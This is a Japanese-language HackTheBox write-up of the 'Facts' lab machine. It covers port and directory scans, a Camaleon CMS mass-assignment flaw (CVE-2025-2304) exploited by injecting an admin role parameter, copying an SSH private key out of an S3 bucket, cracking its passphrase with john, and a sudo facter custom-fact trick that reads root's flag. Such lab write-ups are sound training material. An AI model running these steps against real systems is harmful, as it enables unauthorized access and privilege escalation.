はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Factsです。
Factsでは、 Camaleon CMSの脆弱性やFacterについて学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-10 21:55 JST
Nmap scan report for facts.htb (10.129.23.224)
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-title: facts
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 1892E3E5052D44D6
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Tue, 10 Feb 2026 12:56:16 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>1892E3E5052D44D6</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 1892E3E0C85D5508
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Tue, 10 Feb 2026 12:55:58 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>1892E3E0C85D5508</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Tue, 10 Feb 2026 12:55:58 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.95%I=7%D=2/10%Time=698B2ADE%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x201892E3E0C85D5508\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Tue,\x2010\x20Fe
SF:b\x202026\x2012:55:58\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>1892E3E0C85D5508</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Tue,\x2010\x20
SF:Feb\x202026\x2012:55:58\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x201892E3E5052D44D6\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Tue,\x2010\x20Feb\x202026\x2012:56:16\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>1892
SF:E3E5052D44D6</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.79 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後facts.htbにHTTPアクセスすると、以下の様な画面が表示されます。
FACTSは、トリビアに関するサイトのようです。
コンテンツ探索
gobusterを用いてコンテンツ探索を行なうと、adminのページが検出されました。
$ gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://facts.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.bashrc (Status: 200) [Size: 11119]
/.cvs (Status: 200) [Size: 11110]
/.config (Status: 200) [Size: 11119]
/.cache (Status: 200) [Size: 11116]
/.hta (Status: 200) [Size: 11110]
/.forward (Status: 200) [Size: 11122]
/.bash_history (Status: 200) [Size: 11137]
/.cvsignore (Status: 200) [Size: 11128]
/.history (Status: 200) [Size: 11122]
/.htaccess (Status: 200) [Size: 11125]
/.htpasswd (Status: 200) [Size: 11125]
/.listing (Status: 200) [Size: 11122]
/.listings (Status: 200) [Size: 11125]
/.passwd (Status: 200) [Size: 11119]
/.mysql_history (Status: 200) [Size: 11140]
/.profile (Status: 200) [Size: 11122]
/.perf (Status: 200) [Size: 11113]
/.rhosts (Status: 200) [Size: 11119]
/.sh_history (Status: 200) [Size: 11131]
/.ssh (Status: 200) [Size: 11110]
/.subversion (Status: 200) [Size: 11131]
/.svn (Status: 200) [Size: 11110]
/.swf (Status: 200) [Size: 11110]
/.web (Status: 200) [Size: 11110]
/400 (Status: 200) [Size: 6685]
/404 (Status: 200) [Size: 4836]
/500 (Status: 200) [Size: 7918]
/admin (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.cgi (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.php (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin.pl (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/ajax (Status: 200) [Size: 0]
/cache (Status: 200) [Size: 11116]
/captcha (Status: 200) [Size: 3602]
/config (Status: 200) [Size: 11119]
/cvs (Status: 200) [Size: 11110]
/CVS (Status: 200) [Size: 11110]
/en (Status: 200) [Size: 11109]
/error (Status: 500) [Size: 7918]
/forward (Status: 200) [Size: 11122]
/history (Status: 200) [Size: 11122]
/hta (Status: 200) [Size: 11110]
/htpasswd (Status: 200) [Size: 11125]
/index (Status: 200) [Size: 11113]
/index.htm (Status: 200) [Size: 11125]
/Index (Status: 200) [Size: 11113]
/index.html (Status: 200) [Size: 11128]
/index.php (Status: 200) [Size: 11125]
/listing (Status: 200) [Size: 11122]
/listings (Status: 200) [Size: 11125]
/page (Status: 200) [Size: 19593]
/passwd (Status: 200) [Size: 11119]
/perf (Status: 200) [Size: 11113]
/post (Status: 200) [Size: 11308]
/profile (Status: 200) [Size: 11122]
/robots.txt (Status: 200) [Size: 99]
/robots (Status: 200) [Size: 33]
/rss (Status: 200) [Size: 183]
/search (Status: 200) [Size: 19187]
/sitemap (Status: 200) [Size: 3508]
/sitemap.xml (Status: 200) [Size: 3508]
/sitemap.gz (Status: 500) [Size: 7918]
/ssh (Status: 200) [Size: 11110]
/svn (Status: 200) [Size: 11110]
/swf (Status: 200) [Size: 11110]
/up (Status: 200) [Size: 73]
/web (Status: 200) [Size: 11110]
/welcome (Status: 200) [Size: 11966]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
検出されたadminのページにアクセスすると、ログイン画面にリダイレクトされます。
アカウントを作成してログイン後、ページのフッタ部より、Camaleon CMSの2.9.0バージョンを使用していることが分かります。
脆弱性分析
Camaleon CMSは、Ruby on Railsをベースにした、コンテンツ管理システムです。
Camaleon CMSの2.9.0バージョンに関する脆弱性を調査したところ、CVE-2025-2304の脆弱性が見つかりました。
CVE-2025-2304の脆弱性は、Mass Assignmentと呼ばれるコードの問題に起因しています。
ユーザー情報の更新で使用されているupdated_ajaxは、Ruby on Railsのpermit!メソッドが使用されているため、入力パラメータのフィルタリングが行われていません。
そのため、攻撃者が意図しない属性をフォームに含めることで、本来変更を許可されていない内部属性を書き換えることができます。
システムハッキング
CVE-2025-2304の脆弱性を利用して、足場を作ります。
アクセスの獲得
「Profiel」画面にアクセスして、「Change Password」を押します。
適当にパスワードを入力後、「Process」を押します。
Burp Suiteを用いてインターセプトを行い、password[role]=adminのパラメータを追加します。
パスワードの変更が成功したことを確認して、「Close」を押します。
リロードすると、画面左のナビゲーションに管理者の項目が表示されていることが確認できます。
「Settings」画面を開き、[General Site]-[Filesystem Settings]を参照すると、ファイルシステムはAWSのS3を使用していることが確認できます。
取得したAWSの認証情報を利用するため、AWS CLIを使用してプロファイルを作成します。
$ aws configure --profile facts
AWS Access Key ID [None]: REDACTED
AWS Secret Access Key [None]: REDACTED
Default region name [None]:
Default output format [None]:
aws s3コマンドを使用して、バケットの一覧を表示すると、2つのバケットが表示されました。
$ aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
2025-09-11 21:06:52 internal
2025-09-11 21:06:52 randomfacts
internalバケットを調査すると、.sshのフォルダが見つかりました。
$ aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-09 03:45:13 220 .bash_logout
2026-01-09 03:45:13 3900 .bashrc
2026-01-09 03:47:17 20 .lesshst
2026-01-09 03:47:17 807 .profile
以下のコマンドを実行して、.sshフォルダをコピーします。
$ aws s3 cp s3://internal/.ssh ./internal_ssh --recursive --endpoint-url http://facts.htb:54321 --profile facts
download: s3://internal/.ssh/authorized_keys to internal_ssh/authorized_keys
download: s3://internal/.ssh/id_ed25519 to internal_ssh/id_ed25519
コピーした.sshフォルダより、SSHの秘密鍵であるid_ed25519を発見しました。
合計 8
-rw-r--r-- 1 kali kali 82 2æ 10 21:42 authorized_keys
-rw-r--r-- 1 kali kali 464 2æ 10 21:42 id_ed25519
ssh2johnコマンドを実行して、SSHの秘密鍵をjohn形式に変換します。
$ ssh2john internal_ssh/id_ed25519 > hash.txt
internal_ssh/id_ed25519:$sshng$6$16$17dd8fbd4b88850409ac0bbc9b86dfb3$290$6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001017dd8fbd4b88850409ac0bbc9b86dfb30000001800000001000000330000000b7373682d6564323535313900000020c20ec88173214a6fec096b4f3e4d0a25e55d50b8552ff1dd6956cb76decfcf4e000000a0b8e9e6fd0a3293da830bb319458cea7eba024fcc2679da8e48514f8fec9cd7eeff32d32ab8f07409689ec848171ce02e001868bc330dbe4d18ef044c94d7bcfb95456cb3103e5c3f54186f8896f4a644d4aef69713f5de50399b6752059befadbca577c4ee7fd2ec4bff56619e8db8f6dfed3b9ecd8656dde8a8a5279c3adc1916eb19c7a7a630f772aa2b0b48ed4c793973edb3415fae7f75bc34f09692f576$24$130
johnコマンドを使用して、クラックします。
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED (internal_ssh/id_ed25519)
1g 0:00:00:40 DONE (2026-02-10 22:30) 0.02464g/s 80.45p/s 80.45c/s 80.45C/s grecia..jeter2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ユーザー名は、秘密鍵のコメントから確認できました。
$ ssh-keygen -y -f internal_ssh/id_ed25519
Enter passphrase for "internal_ssh/id_ed25519":
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMIOyIFzIUpv7AlrTz5NCiXlXVC4VS/x3WlWy3bez89O trivia@facts.htb
取得した認証情報を利用して、SSHでログインします。
$ ssh -i internal_ssh/id_ed25519 trivia@facts.htb
ユーザーフラグ
triviaユーザーでログイン後、triviaユーザーのホームディレクトリにフラグはありませんでした。
total 36
drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 ./
drwxr-xr-x 4 root root 4096 Jan 8 17:53 ../
lrwxrwxrwx 1 root root 9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 trivia trivia 220 Aug 20 2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan 8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan 8 18:01 .bundle/
drwx------ 2 trivia trivia 4096 Jan 8 18:58 .cache/
drwxrwxr-x 3 trivia trivia 4096 Jan 8 17:52 .local/
-rw-r--r-- 1 trivia trivia 807 Aug 20 2024 .profile
drwx------ 2 trivia trivia 4096 Feb 10 12:41 .ssh/
/home/ディレクトリを確認すると、他のwilliamユーザーが確認できます。
total 16
drwxr-xr-x 4 root root 4096 Jan 8 17:53 ./
drwxr-xr-x 20 root root 4096 Jan 28 15:15 ../
drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 trivia/
drwxr-xr-x 2 william william 4096 Jan 26 11:40 william/
/home/william/ディレクトリ配下より、ユーザーフラグが確認できます。
total 24
drwxr-xr-x 2 william william 4096 Jan 26 11:40 ./
drwxr-xr-x 4 root root 4096 Jan 8 17:53 ../
lrwxrwxrwx 1 root root 9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 william william 220 Aug 20 2024 .bash_logout
-rw-r--r-- 1 william william 3771 Aug 20 2024 .bashrc
-rw-r--r-- 1 william william 807 Aug 20 2024 .profile
-rw-r--r-- 1 root william 33 Feb 10 12:42 user.txt
ルートフラグ
sudo -lコマンドを実行すると、NOPASSWDでfacterコマンドが実行できることを確認できます。
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facterは、ハードウェア、ネットワーク設定、OS情報などシステムに関する基本的な情報を収集するコマンドラインツールです。
本来はPuppetの付属ツールとして利用するものですが、単体でも利用することができます。
--custom-dirオプションを利用することで、カスタムファクトとして任意のディレクトリを指定することができますです。
以下のようなカスタムファクトを用意して、ルートフラグを読み取ることができます。
cat <<EOF > /tmp/custom_facts/read_root.rb
Facter.add(:root_text) do
setcode do
begin
File.read('/root/root.txt').strip
rescue
nil
end
end
end
EOF
$ sudo /usr/bin/facter --custom-dir /tmp/custom_facts root_text
REDACTED
おわりに
改めて振り返ると、ポートスキャンの結果を踏まえて、54321ポートのヘッダ情報からAWSを使用していることが分かります。
このMachineは、脆弱性の連鎖がどのようにしてシステム全体の侵害につながるかについて学ぶことができます。








